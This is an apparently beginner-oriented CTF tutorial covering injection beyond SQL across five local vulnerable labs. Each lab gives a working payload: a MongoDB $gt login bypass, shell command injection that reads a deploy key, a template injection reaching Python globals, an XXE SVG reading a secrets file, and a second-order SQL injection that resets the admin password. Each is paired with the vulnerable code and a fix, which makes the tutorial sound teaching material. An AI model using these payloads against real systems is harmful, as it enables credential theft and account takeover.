Tutorial 05 / Injection · 2026-09-13

Injection Beyond SQL

A beginner-friendly CTF tutorial: cross the boundaries between JSON, shells, templates, XML, and stored data.

SQL Injection covered SQL injection. SQL is only one interpreter that may receive attacker-controlled input. In this article, Labs 15–19 of h5i-tutorial show the same underlying mistake in five different forms.

We will use h5i to test NoSQL operators, shell commands, template expressions, XML entities, and a payload that becomes dangerous only after it is stored.

These are intentionally vulnerable local applications. Only test systems you own or have permission to assess.

The common shape of injection

Injection happens when one system treats data as instructions for another system. The important question is not only “Which characters are blocked?” but:

Which interpreter receives this value next?

A JSON value may become a database operator. A search term may enter a shell command. An SVG may be parsed as XML. A string safely stored today may be concatenated into SQL tomorrow.

Lab 15: NoSQL operator injection

Start the lab and capture the homepage:

$ ./run.sh 15
$ h5i browser open 'http://127.0.0.1:9150/' \
  --session lab15 --new --capture

The login endpoint expects JSON. Instead of sending a password string, send an object:

$ h5i websec replay req_0 --session lab15 --create \
  --set method=POST --set path=/api/login \
  --set header.Content-Type=application/json \
  --set json.username=admin \
  --set 'json.password={"$gt":""}'

The response contains FLAG{nosql_operator}.

$gt means “greater than” in MongoDB-style query syntax. Every nonempty password hash is greater than the empty string, so the predicate matches the admin record without knowing its password.

The vulnerable code passes the request’s shape into the query:

query = {
    "username": payload["username"],
    "password": payload["password"],
}
user = collection.find_one(query)

Validation must check types as well as field names. password must be a string, and the application should compare a password using its intended password-verification function rather than constructing a client-controlled query.

Lab 16: command injection past a blocklist

Start the log-search lab:

$ ./run.sh 16
$ h5i browser open \
  'http://127.0.0.1:9160/api/logs/search?q=ERROR' \
  --session lab16 --new --capture

The server blocks familiar shell metacharacters such as &&, |, backticks, and $(. But the query is placed inside a quoted shell command. Close the quote, add a command separated by ;, then reopen it:

$ h5i websec replay req_0 --session lab16 \
  --set "query.q=zz'; ls; echo '"

The output reveals deploy.key. Read it:

$ h5i websec replay req_0 --session lab16 \
  --set "query.q=zz'; cat deploy.key; echo '"

The response contains FLAG{command_injection}.

A blocklist tries to enumerate every dangerous spelling in a language designed to combine commands. It will miss alternatives.

The fix is to avoid a shell:

subprocess.run(
    ["grep", "--fixed-strings", query, logfile],
    capture_output=True,
)

Passing an argument array keeps the search term as one argument rather than shell syntax. Input validation can still limit length and characters, but it should not be the boundary that prevents command execution.

Lab 17: server-side template injection

Start the postcard preview:

$ ./run.sh 17
$ h5i browser open \
  'http://127.0.0.1:9170/api/preview?tpl=hi' \
  --session lab17 --new --capture

First, determine whether the template engine evaluates expressions:

$ h5i websec replay req_0 --session lab17 \
  --set 'query.tpl={{7*7}}'

If the response contains 49, the input is being evaluated rather than merely displayed.

The lab removes obvious built-ins such as open, but exposes a user object. Python objects can lead back to the globals of the function that created them:

$ h5i websec replay req_0 --session lab17 \
  --set 'query.tpl={{user.__init__.__globals__["VAULT_KEY"]}}'

The result contains FLAG{ssti_template}.

The mistake is allowing an untrusted user to supply the template itself:

render(user_supplied_template, user=user)

Use a fixed template and pass user input only as data. A restricted environment reduces exposure but is difficult to make safe when rich application objects remain reachable.

Lab 18: XXE through an SVG upload

SVG is an image format, but it is also XML. An XML parser may support external entities that load local files or URLs.

Start the avatar lab:

$ ./run.sh 18
$ h5i browser open 'http://127.0.0.1:9180/' \
  --session lab18 --new --capture

The homepage prints the location of service.env. Create an SVG whose title expands an external entity:

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY leak SYSTEM "file:///PATH/TO/service.env">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <title>&leak;</title>
</svg>

Save it as /tmp/avatar.svg, replacing the path with the one shown by the lab. Upload the exact bytes:

$ h5i websec replay req_0 --session lab18 --create \
  --set method=POST --set path=/api/avatar \
  --set-file multipart.file=/tmp/avatar.svg \
  --set multipart.file.filename=avatar.svg \
  --set multipart.file.content_type=image/svg+xml

The parsed title contains FLAG{xxe_svg_upload}.

This is XML external entity injection, or XXE. Disable DTD and external-entity processing for untrusted XML. For image uploads, decode and re-encode images using a format-specific image library instead of trusting their declared content type.

Lab 19: second-order SQL injection

An input may be safe in the request that stores it and dangerous in a later operation that reuses it.

Start the lab:

$ ./run.sh 19
$ h5i browser open 'http://127.0.0.1:9190/' \
  --session lab19 --new --capture

Register a username that contains SQL:

$ h5i websec replay req_0 --session lab19 --create \
  --set method=POST --set path=/api/register \
  --set header.Content-Type=application/json \
  --set "json.username=zz' OR username='admin" \
  --set json.password=pw1

Registration uses a parameterized query, so the payload is stored literally. Now ask to change that user’s password:

$ h5i websec replay req_0 --session lab19 --create \
  --set method=POST --set path=/api/password \
  --set header.Content-Type=application/json \
  --set "json.username=zz' OR username='admin" \
  --set json.password=pw1 \
  --set json.new=owned

The password-change code retrieves the stored username and later concatenates it:

sql = f"UPDATE users SET password=? WHERE username='{stored_username}'"

The stored value becomes SQL syntax and also updates the admin. Log in:

$ h5i websec replay req_0 --session lab19 --create \
  --set method=POST --set path=/api/login \
  --set header.Content-Type=application/json \
  --set json.username=admin --set json.password=owned

The response contains FLAG{second_order_sqli}.

Data does not become trusted because it came from the database. Parameterize every query at the point where it executes.

A reusable injection method

For each input, trace its next interpreter:

  1. Change its type as well as its value.
  2. Use a harmless expression such as {{7*7}} before a dangerous payload.
  3. Compare paired inputs that should produce opposite results.
  4. Check uploaded formats for secondary parsers.
  5. Follow stored values into later reads, updates, logs, and exports.
  6. Fix the interpreter boundary: parameterized queries, argument arrays, fixed templates, and safe parsers.

Summary

Labs 15–19 crossed five boundaries, but the failure was the same: untrusted data acquired the grammar of another system. The most important testing skill is recognizing that interpreter and asking what data it considers executable.

$ for s in lab15 lab16 lab17 lab18 lab19; do
    h5i browser close --session "$s"
  done
$ ./run.sh stop

In The Browser as a Weapon, the interpreter moves into the victim’s browser: reflected and stored XSS, CSRF, CORS, and OAuth redirects.

References

Next in the series

The Browser as a Weapon

Make a victim's browser execute code, send authenticated requests, cross origins, and leak an OAuth authorization code.

Run the labs yourself

42 deliberately vulnerable applications, one binary, no Docker and no accounts.